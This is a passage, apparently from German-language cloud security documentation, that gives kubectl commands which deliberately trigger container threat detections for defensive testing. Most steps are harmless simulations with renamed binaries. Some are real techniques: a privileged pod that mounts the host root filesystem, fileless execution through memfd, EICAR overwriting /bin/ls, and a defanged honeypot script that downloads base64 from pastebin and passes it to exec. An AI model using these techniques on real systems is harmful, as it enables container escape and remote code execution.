Mit diesem Testverfahren wird ein Disable or Modify Linux Audit System-Ergebnis ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Defense Evasion: Compiler-Tool für Code im Container gestartet

Wenn Sie ein Ergebnis des Typs Defense Evasion: Launch Code Compiler Tool In Container (Vorschau) auslösen möchten, muss ein Code-Compiler-Tool in einem Container ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in gcc10 (oder einen anderen Compiler wie clang) umbenannt. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, schädlichen Code im Container zu kompilieren und auszuführen, um die Erkennung zu umgehen oder das Verhalten des Containers zu ändern.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Compiler-Binärdatei wie gcc10 mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

ARM-Knoten:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Bei diesem Testverfahren wird ein Ergebnis des Typs Defense Evasion: Launch Code Compiler Tool In Container erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Defense Evasion: Root-Zertifikat installiert (Vorschau)

Wenn Sie eine Erkennung des Typs „Root-Zertifikat installiert“ auslösen möchten, erstellen Sie eine Root-Zertifikatsdatei auf dem Host über einen Container. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt und das Root-Dateisystem des Hosts im Container bereitgestellt. Anschließend wird eine leere Zertifikatsdatei in einem geeigneten Verzeichnis erstellt.

Dies ist ein Detektor für die Dateiüberwachung und er hat spezifische GKE-Versionsanforderungen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Installieren Sie eine Zertifikatsdatei von einem Container auf dem Host.

x86-Knoten:

tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

ARM-Knoten:

tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Mit diesem Testverfahren wird ein Ergebnis des Typs „Root-Zertifikat installiert“ ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Ausführung: hinzugefügtes schädliches Binärprogramm ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ auslösen möchten, fügen Sie eine schädliche Binärdatei in Ihren Container ein und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, eine simulierte schädliche Datei erstellt und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die simulierte schädliche Binärdatei nicht Teil des ursprünglichen Container-Image war und die Binärdatei eine EICAR-Testdatei ist, die von der Threat Intelligence als schädlich eingestuft wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

ARM-Knoten:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung werden Ergebnisse des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ von Container Threat Detection vorübergehend gefiltert, wenn Sie einen Container zum ersten Mal erstellen. Wenn Sie alle Ergebnisse des Typs „Ausführung: Schädliche Binärdatei hinzugefügt und ausgeführt“ sehen möchten, während ein Container eingerichtet wird, stellen Sie dem Container- oder Pod-Namen ktd-test voran, wie im Beispiel.

Ausführung: Container-Escape

Wenn Sie ein Ergebnis des Typs „Ausführung: Container Escape“ auslösen möchten, platzieren Sie eine Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (botb-linux-amd64) umbenannt und mit zusätzlichen Argumenten ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das mit einem Container-Escape-Versuch übereinstimmt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie eine Binärdatei für ein Container-Exploitation-Tool wie botb-linux-amd64 ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

ARM-Knoten:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Container Escape“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Dateilose Ausführung in `/memfd:`

Damit ein Execution: Fileless Execution in /memfd:-Ergebnis ausgelöst wird, muss ein Prozess über das In-Memory-Dateisystem von /memfd: ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird in eine anonyme Datei in /memfd: kopiert. Diese kopierte Binärdatei wird dann ausgeführt. Die Ausführung einer Binärdatei unter /memfd: wird als verdächtig eingestuft, da sie das Verhalten eines Objekts nachahmt, das versucht, im Arbeitsspeicher ausgeführt zu werden, um dateibasierte Erkennungen zu vermeiden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Erstellen Sie einen privilegierten Container und öffnen Sie Bash, um Befehle auszuführen:

x86-Knoten:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:latest \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)"

ARM-Knoten:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)"

Mit diesem Testverfahren wird ein Execution: Fileless Execution in /memfd:-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Ausführung der Sicherheitslücke „Ingress Nightmare“

Wenn Sie ein Ergebnis des Typs „Ausführung: Ingress Nightmare-Sicherheitslücke“ (Vorabversion) auslösen möchten, führen Sie die Nginx-Binärdatei in Ihrem Container aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in eine Nginx-Binärdatei (nginx) umbenannt und mit zusätzlichen Argumenten ausgeführt, die auf das /proc-Dateisystem verweisen. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das dem Ingress Nightmare-Exploit (CVE-2025-1974) entspricht, was auf eine potenzielle Ausführung von Remote-Code hindeutet.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Erstellen Sie eine Nginx-Binärdatei wie nginx und führen Sie sie aus, während Sie auf das Dateisystem /proc zugreifen:

x86-Knoten:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

ARM-Knoten:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Ingress Nightmare-Sicherheitslücke“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Execution: Kubernetes Attack Tool Execution

Wenn Sie ein Ergebnis des Typs „Execution: Kubernetes Attack Tool Execution“ auslösen möchten, platzieren Sie eine Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (amicontained) umbenannt und ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das mit einem potenziellen Ausführungsversuch eines Kubernetes-Angriffstools übereinstimmt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie eine Binärdatei für ein Kubernetes-Angriffstool wie amicontained ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

ARM-Knoten:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Ausführung von Kubernetes-Angriffstools“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Ausführung eines lokalen Ausspähtools

Wenn Sie ein Ergebnis des Typs Execution: Local Reconnaissance Tool Execution auslösen möchten, platzieren Sie eine Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (linenum.sh) umbenannt und ausgeführt. Diese Aktion wird als verdächtig eingestuft, da die Ausführung der umbenannten Binärdatei ein Verhalten simuliert, das mit einem lokalen Aufklärungsversuch übereinstimmt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für ein lokales Ausspähtool wie linenum.sh ein und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

ARM-Knoten:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Lokales Aufklärungstool ausgeführt“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Schädlicher Python-Code ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Schädliches Python ausgeführt“ auslösen möchten, können Sie Python in Ihrem Container mit der folgenden Vorgehensweise ausführen.

Bei diesem Verfahren wird das neueste Python-Image bereitgestellt, Python-Code kopiert, der bösartig erscheint, und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss der Python-Code durch den Detektor als schädlich eingestuft werden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie das folgende Skript in einem neuen Container aus.

Dieser Python-Code stammt aus einem Honeypot. Es wurde jedoch so modifiziert, dass das schädliche Binärprogramm nicht ausgeführt wird. Das Ausführen des Skripts führt nicht zu schädlichen Aktivitäten in Ihrem Container. Das Binärprogramm unter der angegebenen URL ist nicht vorhanden. Wenn Sie versuchen, der URL zu folgen, wird ein 404-Fehler ausgegeben. Dies ist zu erwarten. Der Versuch, eine Binärdatei mithilfe eines Inline-Skripts herunterzuladen, zu decodieren und auszuführen, löst die Erkennung aus.

x86-Knoten:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

ARM-Knoten:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Schädliches Python-Skript ausgeführt“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Geändertes schädliches Binärprogramm ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Geändertes schädliches Binärprogramm ausgeführt“ auslösen möchten, ändern Sie eine schädliche Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls in eine EICAR-Testdatei für schädliche Software geändert und dann ausgeführt. Die Ausführung des Binärprogramms ist unerwartet, da das erstellte /bin/ls während der Containerlaufzeit als EICAR-Test-Binärprogramm modifiziert wird und das EICAR-Binärprogramm laut Threat Intelligence eine bekannte schädliche Datei ist.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

ARM-Knoten:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Ausgeführte modifizierte schädliche Binärdatei“ erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung werden Ergebnisse des Typs „Ausführung: Schädliche Binärdatei geändert und ausgeführt“ von Container Threat Detection beim Erstellen eines Containers vorübergehend gefiltert. Wenn Sie alle Ergebnisse des Typs „Ausführung: Ausführung einer modifizierten schädlichen Binärdatei“ sehen möchten, während ein Container eingerichtet wird, stellen Sie dem Container- oder Pod-Namen ktd-test voran, wie im Beispiel.

Ausführung: Netcat-Remote-Codeausführung im Container

Damit ein Execution: Netcat Remote Code Execution In Container-Ereignis ausgelöst wird, muss eine Binärdatei, die zur Netzwerkkommunikation fähig ist (z. B. netcat selbst oder eine umbenannte Kopie eines anderen Dienstprogramms), im Container vorhanden sein und ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image als Basis bereitgestellt. Das /bin/ls-Binärprogramm wird kopiert und die Kopie wird in netcat (ein Netzwerkdienstprogramm) umbenannt. Diese umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die für die Netzwerkinteraktion geeignet sind. Diese Aktivität wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das häufig bei tatsächlichen Versuchen zur Remote-Codeausführung in containerisierten Umgebungen beobachtet wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für ein Netzwerkkommunikationstool wie netcat ein und führen Sie sie mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

ARM-Knoten:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Mit diesem Testverfahren wird ein Execution: Netcat Remote Code Execution In Container-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Mögliche Ausführung beliebiger Befehle über CUPS (CVE-2024-47177)

Damit ein Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177)-Ergebnis ausgelöst wird, muss die Ausführung eines Shell-Prozesses durch foomatic-rip erfolgen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/bash nach /tmp/foomatic-rip kopiert. Diese umbenannte und kopierte Binärdatei wird als Shell-Script ausgeführt, um einen untergeordneten Shell-Befehl zu erstellen. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, beliebige Arbeitslasten auf kompromittierten Systemen auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie den Befehl mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu1804:latest \
   "$tag" -- bash -c \
   'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'

ARM-Knoten:

tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177) erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Mögliche Remote-Befehlsausführung erkannt

